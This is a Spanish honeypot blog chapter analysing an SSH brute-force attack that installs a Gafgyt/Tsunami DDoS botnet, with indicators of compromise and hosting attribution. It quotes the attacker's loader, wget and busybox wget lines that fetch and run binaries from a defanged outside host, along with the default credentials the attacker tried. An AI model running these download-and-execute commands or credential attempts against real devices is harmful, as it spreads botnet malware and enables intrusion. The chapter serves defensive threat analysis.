KHserver · Capítulo 11
El bot presumido y vago
Cayó un cargador de 1.177 bytes: nueve líneas de wget, una por arquitectura, del estilo que ya he abierto tres veces en este blog. Iba a archivarlo como reincidencia y seguir con lo mío. Lo abrí igualmente, por costumbre — y lo primero que vi fue que le sobraban unos caracteres.
El vigía saltó con un fichero de 1.177 bytes. Un script de shell. Nueve líneas de wget, una por arquitectura, del estilo que ya he abierto tres veces en este blog.
Iba a etiquetarlo como reincidencia y seguir con lo mío. Lo abrí igualmente, por costumbre. Y lo primero que vi fue que a este le sobraban unos caracteres.
01Cinco visitas en un minuto
No vino una vez: vino cinco, desde la misma dirección, en sesenta segundos, probando una contraseña distinta cada vez. Como quien prueba el llavero entero en la misma cerradura.
- 0 sEntra con root / root. Descarga y se va.
- 1 sVuelve con root / password. Esta vez remata con echo PAYLOAD_EXECUTED.
- 2 sOtra, root / 123456.
- 4 sY otra, user / user.
- 55 sY la quinta, root / 123123.
Las cinco teclean exactamente lo mismo:
cd /tmp 2>/dev/null || cd /run 2>/dev/null || cd / wget hxxp://213.232.114[.]14/handshakebins.sh busybox wget hxxp://213.232.114[.]14/handshakebins.sh
Ese busybox wget de refuerzo es la marca de la casa en el mundo de los cacharros: en un router o una cámara muchas veces no hay un wget de verdad, sino la navaja suiza de BusyBox. Prueba las dos por si acaso.
02Nueve descargas y un error de bulto
El script que se baja trae nueve intentos, uno por arquitectura, con los nombres puestos a mano:
-e #!/bin/bash -e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://213.232.114[.]14/MIPS; chmod +x MIPS; ./MIPS; rm -rf MIPS -e cd /tmp || ... wget hxxp://213.232.114[.]14/MIPSEL; chmod +x MIPSEL; ./MIPSEL; rm -rf MIPSEL -e cd /tmp || ... wget hxxp://213.232.114[.]14/SH4; ... -e cd /tmp || ... wget hxxp://213.232.114[.]14/X86_64; ... -e cd /tmp || ... wget hxxp://213.232.114[.]14/ARMV6L; ... -e ... y así con I686 · I586 · M68K · ARMV4L
La estrategia es de fuerza bruta: dispara las nueve y que arranque la que pueda. Un aparato MIPS ignorará las otras ocho y ejecutará la suya.
Pero fíjate en el principio de cada línea. Esos -e no deberían estar ahí. Salen de haber generado el fichero con un echo -e en una shell donde ese parámetro no existe: en vez de interpretarlo, lo escribió dentro. El script funciona igual —bash intenta ejecutar una orden llamada -e, falla, y sigue con el resto de la línea— pero es la primera huella de alguien con prisa y sin revisar.
La segunda huella es bastante peor.
03Los nueve nombres mienten
Me bajé tres de los nueve binarios y, antes de mirar nada más, le pregunté al sistema qué eran. Es lo primero que hago siempre, y cuesta un segundo:
X86_64.bin: ELF 32-bit LSB executable, ARM, EABI4 MIPS.bin: ELF 32-bit LSB executable, ARM ARMV4L.bin: ELF 32-bit LSB executable, Renesas SH
El que se llama X86_64 es ARM. El que se llama MIPS es ARM. El que se llama ARMV4L es un Renesas SH. Ninguno de los tres es lo que dice ser.
Y es un fallo que no da la cara: la campaña sigue funcionando en los cacharros ARM, que son mayoría. Nadie va a reclamar.
Compáralo con el XorDDoS del Capítulo 1, otra familia y otro mundo: aquel le mandaba uname -m a su propio servidor para que le devolviera exactamente el binario que tocaba, y de paso renombraba wget a good y curl a cool, de forma que ninguna botnet rival pudiera descargar nada en esa máquina después. Ahí había oficio. Aquí hay prisa.
04Dos direcciones, dos mundos
En este ataque hay dos servidores distintos, y no se parecen en nada.
El que entra —45.135.194.26, alojado en Alemania— está quemadísimo: 463 denuncias de 280 usuarios distintos en AbuseIPDB, y catorce motores de VirusTotal lo dan por malicioso. Es una dirección de usar y tirar, y su trabajo es exponerse.
El que sirve el payload —213.232.114[.]14, en los Países Bajos— estaba, cuando lo miré, impoluto: cero detecciones, una sola denuncia, desconocido para abuse.ch.
Curiosidad: el rango de la primera está registrado al mismo titular que el del centro de mando de Sysorbit, cuatro capítulos atrás. Estos negocios se concentran en muy pocos sitios.
Y ese «el mismo» merece una precisión, porque cuando lo escribí lo dejé demasiado redondo. En los registros de internet hay dos cosas distintas que es fácil confundir: a nombre de quién está un rango de direcciones, y quién lo anuncia al resto de la red. No tienen por qué ser el mismo.
| Rango | A nombre de | Lo anuncia |
|---|---|---|
| 45.135.194.0/24 — el que me atacó | PFCLOUD-NET | AS51396 · Pfcloud UG |
| 176.65.139.0/24 — el C2 de Sysorbit | PFCLOUD-NET | AS219502 · Storm Industries LLC |
Los dos rangos están a nombre del mismo titular. Pero el de Sysorbit no lo anuncia él: lo saca a la red otra empresa distinta. Así que lo que comparten los dos casos no es exactamente «el proveedor»: es el dueño del espacio de direcciones, con dos caminos distintos hasta internet.
Puede parecer una pejiguería, y no lo es: si alguien intenta seguir este rastro y busca por la ASN, en un caso encuentra Pfcloud y en el otro no encuentra nada. Hay que saber por cuál de las dos cosas se está preguntando.
05Lo que dicen los antivirus (y lo que no dicen)
Con los hashes en la mano fui a mirar qué se sabía ya. El script lo tenía VirusTotal desde ese mismo día, 31 de 75 motores, y ya estaba subido antes de que me tocara a mí. Uno de los binarios también estaba, con 33 de 75 y una etiqueta:
trojan.gafgyt/tsunami · etiquetas: gafgyt · tsunami · ddos
«Gafgyt/Tsunami, DDoS». Traducido: una botnet de denegación de servicio de la familia de siempre. Y ahí, normalmente, se acaba el asunto: la muestra queda archivada con su etiqueta y nadie vuelve a mirarla.
Pero una etiqueta no es un análisis. No dice a quién obedece, ni qué sabe hacer, ni para qué la usa quien la paga. Dice a qué se parece.
Así que me llevé el binario al laboratorio. Y resultó estar sin limpiar: el autor se dejó dentro los nombres de sus propias funciones — seiscientas veintiocho. Eso ya no es leer ensamblador a ciegas; eso es que te dejen el índice del libro.
Lo que ponía en ese índice es el próximo capítulo. Adelanto una sola: entre las funciones hay una que se llama fortnite_flood.
06Indicadores (IOCs)
| Tipo | Valor |
|---|---|
| SHA-256 del cargador | f7134ec664ca003c740337cf7b2fbba1162430d86ca1d7a2b5c14fe0463d261b |
| Nombre del fichero | handshakebins.sh (1.177 B) · VT 31/75, primera subida 2026-08-25 11:20 UTC |
| SHA-256 binario (Renesas SH) | b297dc8f54f612f92c26735ab50e1360057df3909556d85e6439e695aa646148 — VT 33/75, gafgyt/tsunami |
| SHA-256 binario (ARM) | 0658e79b91e732723b540ee7040eb0289c497f781d750e42b25dfcf10d233f50 |
| SHA-256 binario (ARM EABI4) | 5a21c34ff54ab1a92246b9cfba815ed187fe636b9350d41e26c5e4aa8f4bf891 |
| Servidor de payload | 213.232.114.14 (VirMach / xTom, AS3214) · nueve binarios por arquitectura, con los nombres cruzados |
| IP que atacó | 45.135.194.26 (Pfcloud UG, AS51396) — 463 denuncias en AbuseIPDB |
| Baliza | echo PAYLOAD_EXECUTED |
| Credenciales probadas | root/root · root/password · root/123456 · root/123123 · user/user |
| Vía de entrada | SSH · puerto 22 · fuerza bruta |
· 45.135.194.26, la que ataca: de 463 denuncias a 855, y de 280 usuarios distintos a 429. Sigue trabajando, y quemándose.
· 213.232.114.14, la del reparto, la «impoluta»: de 1 denuncia a 10, la última de ese mismo día. Empieza a arder, tres semanas después.
· 45.95.168.149, el centro de mando de verdad: cero denuncias, igual que el primer día. Lo único que ha subido es el marcador de VirusTotal, de 6 a 13.
La pieza que nadie ve sigue sin verse. Y esa es exactamente la tesis del capítulo, ahora con reloj.
Continuará — en el Capítulo 12 abro el binario. Venía sin limpiar, con los nombres de sus seiscientas veintiocho funciones puestos. 🍯
Comentarios